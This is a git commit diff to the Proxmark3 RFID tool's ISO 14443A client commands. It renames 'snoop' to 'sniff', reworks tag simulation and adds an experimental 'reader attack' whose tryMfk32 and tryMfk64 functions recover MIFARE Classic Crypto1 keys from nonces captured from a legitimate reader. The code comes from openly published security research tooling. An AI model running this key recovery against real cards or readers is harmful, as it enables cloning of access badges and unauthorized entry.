chg: @marshmellows changes to "hf 14a reader"

add: the experimental "hf 14a sim x" attack impl.
chg: sorry, but I never liked that sniffing was called snooping in this command. So I changed it to "sniff".
This commit is contained in:
iceman1001 2015-05-16 15:30:17 +02:00
commit 9cdd47c292
2 changed files with 234 additions and 85 deletions

View file

@ -23,6 +23,10 @@
#include "common.h" #include "common.h"
#include "cmdmain.h" #include "cmdmain.h"
#include "mifare.h" #include "mifare.h"
#include "cmdhfmfu.h"
#include "nonce2key/crapto1.h"
#define llx PRIx64
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
static void waitCmd(uint8_t iLen); static void waitCmd(uint8_t iLen);
@ -143,7 +147,7 @@ int CmdHF14AReader(const char *Cmd)
uint64_t select_status = resp.arg[0]; // 0: couldn't read, 1: OK, with ATS, 2: OK, no ATS, 3: proprietary Anticollision uint64_t select_status = resp.arg[0]; // 0: couldn't read, 1: OK, with ATS, 2: OK, no ATS, 3: proprietary Anticollision
if(select_status == 0) { if(select_status == 0) {
PrintAndLog("iso14443a card select failed"); if (Cmd[0] != 's') PrintAndLog("iso14443a card select failed");
// disconnect // disconnect
c.arg[0] = 0; c.arg[0] = 0;
c.arg[1] = 0; c.arg[1] = 0;
@ -169,6 +173,33 @@ int CmdHF14AReader(const char *Cmd)
switch (card.sak) { switch (card.sak) {
case 0x00: case 0x00:
//***************************************test****************
ul_switch_off_field();
uint16_t tagT = GetHF14AMfU_Type();
ul_print_type(tagT, 0);
//reconnect for further tests
c.arg[0] = ISO14A_CONNECT | ISO14A_NO_DISCONNECT;
c.arg[1] = 0;
c.arg[2] = 0;
SendCommand(&c);
UsbCommand resp;
WaitForResponse(CMD_ACK,&resp);
memcpy(&card, (iso14a_card_select_t *)resp.d.asBytes, sizeof(iso14a_card_select_t));
select_status = resp.arg[0]; // 0: couldn't read, 1: OK, with ATS, 2: OK, no ATS
if(select_status == 0) {
ul_switch_off_field();
return 0;
}
/* orig
// check if the tag answers to GETVERSION (0x60) // check if the tag answers to GETVERSION (0x60)
c.arg[0] = ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT; c.arg[0] = ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT;
c.arg[1] = 1; c.arg[1] = 1;
@ -187,7 +218,7 @@ int CmdHF14AReader(const char *Cmd)
case 0x01:PrintAndLog("TYPE : NXP MIFARE Ultralight C");break; case 0x01:PrintAndLog("TYPE : NXP MIFARE Ultralight C");break;
case 0x00:PrintAndLog("TYPE : NXP MIFARE Ultralight");break; case 0x00:PrintAndLog("TYPE : NXP MIFARE Ultralight");break;
} }
*/
break; break;
case 0x01: PrintAndLog("TYPE : NXP TNP3xxx Activision Game Appliance"); break; case 0x01: PrintAndLog("TYPE : NXP TNP3xxx Activision Game Appliance"); break;
case 0x04: PrintAndLog("TYPE : NXP MIFARE (various !DESFire !DESFire EV1)"); break; case 0x04: PrintAndLog("TYPE : NXP MIFARE (various !DESFire !DESFire EV1)"); break;
@ -206,7 +237,6 @@ int CmdHF14AReader(const char *Cmd)
} }
// Double & triple sized UID, can be mapped to a manufacturer. // Double & triple sized UID, can be mapped to a manufacturer.
// HACK: does this apply for Ultralight cards?
if ( card.uidlen > 4 ) { if ( card.uidlen > 4 ) {
PrintAndLog("MANUFACTURER : %s", getTagInfo(card.uid[0])); PrintAndLog("MANUFACTURER : %s", getTagInfo(card.uid[0]));
} }
@ -421,99 +451,216 @@ int CmdHF14ACUIDs(const char *Cmd)
return 1; return 1;
} }
// ## simulate iso14443a tag
// ## greg - added ability to specify tag UID static int usage_hf_14a_sim(void)
int CmdHF14ASim(const char *Cmd)
{ {
UsbCommand c = {CMD_SIMULATE_TAG_ISO_14443a,{0,0,0}}; PrintAndLog("\n Emulating ISO/IEC 14443 type A tag with 4 or 7 byte UID\n");
PrintAndLog("Usage: hf 14a sim t <type> u <uid> x");
// Retrieve the tag type PrintAndLog(" Options : ");
uint8_t tagtype = param_get8ex(Cmd,0,0,10); PrintAndLog(" h : this help");
PrintAndLog(" t : 1 = MIFARE Classic");
// When no argument was given, just print help message
if (tagtype == 0) {
PrintAndLog("");
PrintAndLog(" Emulating ISO/IEC 14443 type A tag with 4 or 7 byte UID");
PrintAndLog("");
PrintAndLog(" syntax: hf 14a sim <type> <uid>");
PrintAndLog(" types: 1 = MIFARE Classic");
PrintAndLog(" 2 = MIFARE Ultralight"); PrintAndLog(" 2 = MIFARE Ultralight");
PrintAndLog(" 3 = MIFARE Desfire"); PrintAndLog(" 3 = MIFARE Desfire");
PrintAndLog(" 4 = ISO/IEC 14443-4"); PrintAndLog(" 4 = ISO/IEC 14443-4");
PrintAndLog(" 5 = MIFARE Tnp3xxx"); PrintAndLog(" 5 = MIFARE Tnp3xxx");
PrintAndLog(""); PrintAndLog(" 6 = MIFARE Mini");
return 1; PrintAndLog(" u : 4 or 7 byte UID");
} PrintAndLog(" x : (Optional) performs the 'reader attack', nr/ar attack against a legitimate reader");
PrintAndLog("\n sample : hf 14a sim t 1 u 1122344");
// Store the tag type PrintAndLog(" : hf 14a sim t 1 u 1122344 x\n");
c.arg[0] = tagtype;
// Retrieve the full 4 or 7 byte long uid
uint64_t long_uid = param_get64ex(Cmd,1,0,16);
// Are we handling the (optional) second part uid?
if (long_uid > 0xffffffff) {
PrintAndLog("Emulating ISO/IEC 14443 type A tag with 7 byte UID (%014"llx")",long_uid);
// Store the second part
c.arg[2] = (long_uid & 0xffffffff);
long_uid >>= 32;
// Store the first part, ignore the first byte, it is replaced by cascade byte (0x88)
c.arg[1] = (long_uid & 0xffffff);
} else {
PrintAndLog("Emulating ISO/IEC 14443 type A tag with 4 byte UID (%08x)",long_uid);
// Only store the first part
c.arg[1] = long_uid & 0xffffffff;
}
/*
// At lease save the mandatory first part of the UID
c.arg[0] = long_uid & 0xffffffff;
if (c.arg[1] == 0) {
PrintAndLog("Emulating ISO/IEC 14443 type A tag with UID %01d %08x %08x",c.arg[0],c.arg[1],c.arg[2]);
}
switch (c.arg[0]) {
case 1: {
PrintAndLog("Emulating ISO/IEC 14443-3 type A tag with 4 byte UID");
UsbCommand c = {CMD_SIMULATE_TAG_ISO_14443a,param_get32ex(Cmd,0,0,10),param_get32ex(Cmd,1,0,16),param_get32ex(Cmd,2,0,16)};
} break;
case 2: {
PrintAndLog("Emulating ISO/IEC 14443-4 type A tag with 7 byte UID");
} break;
default: {
PrintAndLog("Error: unkown tag type (%d)",c.arg[0]);
PrintAndLog("syntax: hf 14a sim <uid>",c.arg[0]);
PrintAndLog(" type1: 4 ",c.arg[0]);
return 1;
} break;
}
*/
/*
unsigned int hi = 0, lo = 0;
int n = 0, i = 0;
while (sscanf(&Cmd[i++], "%1x", &n ) == 1) {
hi= (hi << 4) | (lo >> 28);
lo= (lo << 4) | (n & 0xf);
}
*/
// UsbCommand c = {CMD_SIMULATE_TAG_ISO_14443a,param_get32ex(Cmd,0,0,10),param_get32ex(Cmd,1,0,16),param_get32ex(Cmd,2,0,16)};
// PrintAndLog("Emulating ISO/IEC 14443 type A tag with UID %01d %08x %08x",c.arg[0],c.arg[1],c.arg[2]);
SendCommand(&c);
return 0; return 0;
} }
int CmdHF14ASnoop(const char *Cmd) { // ## simulate iso14443a tag
// ## greg - added ability to specify tag UID
int CmdHF14ASim(const char *Cmd)
{
bool errors = FALSE;
uint8_t flags = 0;
uint8_t tagtype = 1;
uint64_t uid = 0;
uint8_t cmdp = 0;
while(param_getchar(Cmd, cmdp) != 0x00)
{
switch(param_getchar(Cmd, cmdp))
{
case 'h':
case 'H':
return usage_hf_14a_sim();
case 't':
case 'T':
// Retrieve the tag type
tagtype = param_get8ex(Cmd, cmdp+1, 0, 10);
if (tagtype == 0)
errors = true;
cmdp += 2;
break;
case 'u':
case 'U':
// Retrieve the full 4 or 7 byte long uid
uid = param_get64ex(Cmd, cmdp+1, 0, 16);
if (uid == 0 )
errors = TRUE;
if (uid > 0xffffffff) {
PrintAndLog("Emulating ISO/IEC 14443 type A tag with 7 byte UID (%014"llx")",uid);
flags |= FLAG_7B_UID_IN_DATA;
} else {
PrintAndLog("Emulating ISO/IEC 14443 type A tag with 4 byte UID (%08x)",uid);
flags |= FLAG_4B_UID_IN_DATA;
}
cmdp += 2;
break;
case 'x':
case 'X':
flags |= FLAG_NR_AR_ATTACK;
cmdp++;
break;
default:
PrintAndLog("Unknown parameter '%c'", param_getchar(Cmd, cmdp));
errors = true;
break;
}
if(errors) break;
}
//Validations
if (errors) return usage_hf_14a_sim();
PrintAndLog("Press pm3-button to abort simulation");
UsbCommand c = {CMD_SIMULATE_TAG_ISO_14443a,{ tagtype, flags, 0 }};
num_to_bytes(uid, 7, c.d.asBytes);
SendCommand(&c);
while(!ukbhit()){
UsbCommand resp;
WaitForResponseTimeout(CMD_ACK,&resp,1500);
PrintAndLog("Got %04X %02X", resp.arg[0], resp.arg[0]);
if ( (resp.arg[0] & 0xffff) == CMD_SIMULATE_MIFARE_CARD ){
uint8_t data[40];
uint8_t key[6];
int len = (resp.arg[1] > sizeof(data)) ? sizeof(data) : resp.arg[1];
memcpy(data, resp.d.asBytes, len);
tryMfk32(uid, data, key);
//tryMfk64(uid, data, key);
PrintAndLog("--");
memset(data,0x00, 40);
}
}
return 0;
}
int tryMfk32(uint64_t myuid, uint8_t *data, uint8_t *outputkey ){
struct Crypto1State *s,*t;
uint64_t key; // recovered key
uint32_t uid; // serial number
uint32_t nt; // tag challenge
uint32_t nr0_enc; // first encrypted reader challenge
uint32_t ar0_enc; // first encrypted reader response
uint32_t nr1_enc; // second encrypted reader challenge
uint32_t ar1_enc; // second encrypted reader response
bool isSuccess = FALSE;
int counter = 0;
uid = myuid;//(uint32_t)bytes_to_num(data + 0, 4);
nt = *(uint32_t*)(data+8);
nr0_enc = *(uint32_t*)(data+12);
ar0_enc = *(uint32_t*)(data+16);
nr1_enc = *(uint32_t*)(data+32);
ar1_enc = *(uint32_t*)(data+36);
// PrintAndLog("Recovering key for:");
// PrintAndLog(" uid: %08x",uid);
// PrintAndLog(" nt: %08x",nt);
// PrintAndLog(" {nr_0}: %08x",nr0_enc);
// PrintAndLog(" {ar_0}: %08x",ar0_enc);
// PrintAndLog(" {nr_1}: %08x",nr1_enc);
// PrintAndLog(" {ar_1}: %08x",ar1_enc);
s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);
for(t = s; t->odd | t->even; ++t) {
lfsr_rollback_word(t, 0, 0);
lfsr_rollback_word(t, nr0_enc, 1);
lfsr_rollback_word(t, uid ^ nt, 0);
crypto1_get_lfsr(t, &key);
crypto1_word(t, uid ^ nt, 0);
crypto1_word(t, nr1_enc, 1);
if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) {
PrintAndLog("Found Key: [%012"llx"]",key);
isSuccess = TRUE;
++counter;
if (counter==10)
break;
}
}
free(s);
return isSuccess;
}
int tryMfk64(uint64_t myuid, uint8_t *data, uint8_t *outputkey ){
struct Crypto1State *revstate;
uint64_t key; // recovered key
uint32_t uid; // serial number
uint32_t nt; // tag challenge
uint32_t nr_enc; // encrypted reader challenge
uint32_t ar_enc; // encrypted reader response
uint32_t at_enc; // encrypted tag response
uint32_t ks2; // keystream used to encrypt reader response
uint32_t ks3; // keystream used to encrypt tag response
struct Crypto1State mpcs = {0, 0};
struct Crypto1State *pcs;
pcs = &mpcs;
uid = myuid;//(uint32_t)bytes_to_num(data + 0, 4);
nt = *(uint32_t*)(data+8);
nr_enc = *(uint32_t*)(data+12);
ar_enc = *(uint32_t*)(data+16);
crypto1_word(pcs, nr_enc , 1);
at_enc = prng_successor(nt, 96) ^ crypto1_word(pcs, 0, 0);
// printf("Recovering key for:\n");
// printf(" uid: %08x\n",uid);
// printf(" nt: %08x\n",nt);
// printf(" {nr}: %08x\n",nr_enc);
// printf(" {ar}: %08x\n",ar_enc);
// printf(" {at}: %08x\n",at_enc);
// Extract the keystream from the messages
ks2 = ar_enc ^ prng_successor(nt, 64);
ks3 = at_enc ^ prng_successor(nt, 96);
revstate = lfsr_recovery64(ks2, ks3);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, 0, 0);
lfsr_rollback_word(revstate, nr_enc, 1);
lfsr_rollback_word(revstate, uid ^ nt, 0);
crypto1_get_lfsr(revstate, &key);
PrintAndLog("Found Key: [%012"llx"]",key);
crypto1_destroy(revstate);
crypto1_destroy(pcs);
return 0;
}
int CmdHF14ASniff(const char *Cmd) {
int param = 0; int param = 0;
uint8_t ctmp = param_getchar(Cmd, 0) ; uint8_t ctmp = param_getchar(Cmd, 0) ;
if (ctmp == 'h' || ctmp == 'H') { if (ctmp == 'h' || ctmp == 'H') {
PrintAndLog("It get data from the field and saves it into command buffer."); PrintAndLog("It get data from the field and saves it into command buffer.");
PrintAndLog("Buffer accessible from command hf list 14a."); PrintAndLog("Buffer accessible from command 'hf list 14a'");
PrintAndLog("Usage: hf 14a snoop [c][r]"); PrintAndLog("Usage: hf 14a sniff [c][r]");
PrintAndLog("c - triggered by first data from card"); PrintAndLog("c - triggered by first data from card");
PrintAndLog("r - triggered by first 7-bit request from reader (REQ,WUP,...)"); PrintAndLog("r - triggered by first 7-bit request from reader (REQ,WUP,...)");
PrintAndLog("sample: hf 14a snoop c r"); PrintAndLog("sample: hf 14a sniff c r");
return 0; return 0;
} }
@ -618,7 +765,7 @@ int CmdHF14ACmdRaw(const char *cmd) {
sscanf(buf,"%x",&temp); sscanf(buf,"%x",&temp);
data[datalen]=(uint8_t)(temp & 0xff); data[datalen]=(uint8_t)(temp & 0xff);
*buf=0; *buf=0;
if (++datalen>sizeof(data)){ if (++datalen >= sizeof(data)){
if (crc) if (crc)
PrintAndLog("Buffer is full, we can't add CRC to your data"); PrintAndLog("Buffer is full, we can't add CRC to your data");
break; break;
@ -718,7 +865,7 @@ static command_t CommandTable[] =
{"reader", CmdHF14AReader, 0, "Act like an ISO14443 Type A reader"}, {"reader", CmdHF14AReader, 0, "Act like an ISO14443 Type A reader"},
{"cuids", CmdHF14ACUIDs, 0, "<n> Collect n>0 ISO14443 Type A UIDs in one go"}, {"cuids", CmdHF14ACUIDs, 0, "<n> Collect n>0 ISO14443 Type A UIDs in one go"},
{"sim", CmdHF14ASim, 0, "<UID> -- Simulate ISO 14443a tag"}, {"sim", CmdHF14ASim, 0, "<UID> -- Simulate ISO 14443a tag"},
{"snoop", CmdHF14ASnoop, 0, "Eavesdrop ISO 14443 Type A"}, {"sniff", CmdHF14ASniff, 0, "sniff ISO 14443 Type A traffic"},
{"raw", CmdHF14ACmdRaw, 0, "Send raw hex data to tag"}, {"raw", CmdHF14ACmdRaw, 0, "Send raw hex data to tag"},
{NULL, NULL, 0, NULL} {NULL, NULL, 0, NULL}
}; };

View file

@ -18,7 +18,9 @@ int CmdHF14AList(const char *Cmd);
int CmdHF14AMifare(const char *Cmd); int CmdHF14AMifare(const char *Cmd);
int CmdHF14AReader(const char *Cmd); int CmdHF14AReader(const char *Cmd);
int CmdHF14ASim(const char *Cmd); int CmdHF14ASim(const char *Cmd);
int CmdHF14ASnoop(const char *Cmd); int CmdHF14ASniff(const char *Cmd);
char* getTagInfo(uint8_t uid); char* getTagInfo(uint8_t uid);
int tryMfk32(uint64_t myuid, uint8_t *data, uint8_t *outputkey );
int tryMfk64(uint64_t myuid, uint8_t *data, uint8_t *outputkey );
#endif #endif